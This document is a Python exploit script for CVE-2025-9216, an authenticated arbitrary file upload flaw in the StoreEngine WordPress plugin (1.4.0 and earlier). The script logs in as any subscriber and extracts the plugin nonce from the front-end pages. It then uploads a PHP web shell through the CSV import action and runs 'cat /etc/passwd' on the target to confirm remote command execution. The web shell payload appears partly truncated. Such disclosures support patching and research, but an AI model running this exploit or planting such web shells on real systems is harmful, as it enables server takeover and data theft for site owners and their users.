# Exploit Title: StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload # Date: 08/18/2025 # Exploit Author: Ryan Kozak # Vendor Homepage: https://wordpress.org/plugins/storeengine/ # Version: <= 1.4.0 # CVE : CVE-2025-9216 # Prerequisites: CSV Import/Export addon must be enabled by administrator import re import json import urllib3 import logging import requests import argparse import urllib.parse def wp_login(victim_url: str, username: str, password: str): with requests.Session() as s: headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' } datas={ 'log':username, 'pwd':password, 'wp-submit':'Log In', 'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1' } s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False) return(s) def main(): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Parse command line arguments parser = argparse.ArgumentParser(description="StoreEngine Subscriber+ Remote Code Execution via CSV Import.") parser.add_argument("victim_url", help="Target url or ip address.") parser.add_argument("username", help="The username for the WordPress instance.") parser.add_argument("password", help="The password for the WordPress instance.") args = parser.parse_args() # Log into WordPress and use this session for the requests. print(f"Logging into: {args.victim_url}/wp-admin") print("NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)") wp_session = wp_login(args.victim_url,args.username,args.password) ################################################################################################################################################## # Extract nonce from frontend scripts (accessible to ANY authenticated user) ################################################################################################################################################## print("Extracting nonce from frontend scripts (accessible to any user)...") headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'} # The nonce is exposed to ALL frontend users via frontend_scripts() # We can get it from any page that loads the StoreEngine frontend scripts r = wp_session.get(f"{args.victim_url}/", headers=headers, verify=False) # Look for the nonce in the page source nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text) if not nonce_match: # Try alternative nonce patterns nonce_match = re.search(r'storeengine_nonce["\']?\s*:\s*["\']([^"\']+)["\']', r.text) if not nonce_match: print("Could not find nonce in frontend. Trying admin page as fallback...") # Fallback to admin page r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=storeengine", headers=headers, verify=False) nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text) if not nonce_match: print("ERROR: Could not extract nonce. The exploit may not work.") return nonce = nonce_match.group(1) print(f"storeengine_nonce: {nonce}") print("NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!") ################################################################################################################################################## # Note: CSV Import/Export addon must be enabled by admin before exploitation ################################################################################################################################################## print("NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.") print("This exploit demonstrates the vulnerability once the addon is already enabled.") ################################################################################################################################################## # Upload the php web shell. ################################################################################################################################################## print("Uploading web shell: omg.php") headers = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)" } data = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n" data += "Content-Disposition: form-data; name=\"action\"\r\n\r\nstoreengine_csv/import\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n" data += "Content-Disposition: form-data; name=\"security\"\r\n\r\n" data += f"{nonce}\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n" data += "Content-Disposition: form-data; name=\"file\"; filename=\"omg.php\"\r\n" data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n" data += "\".shell_exec($_GET['cmd']).\"\";\r\n }\r\n?>\r\n" data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n" r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False) print(f"File upload response: {r.text}") ################################################################################################################################################## # Test the web shell ################################################################################################################################################## print("") print(f"Web Shell At: {args.victim_url}/wp-content/uploads/storeengine_uploads/csv/omg.php") print("") print("Executing test command: cat /etc/passwd") r = wp_session.get(f"{args.victim_url}/wp-content/uploads/storeengine_uploads/csv/omg.php?cmd=cat /etc/passwd", verify=False) print(r.text) if __name__ == "__main__": main()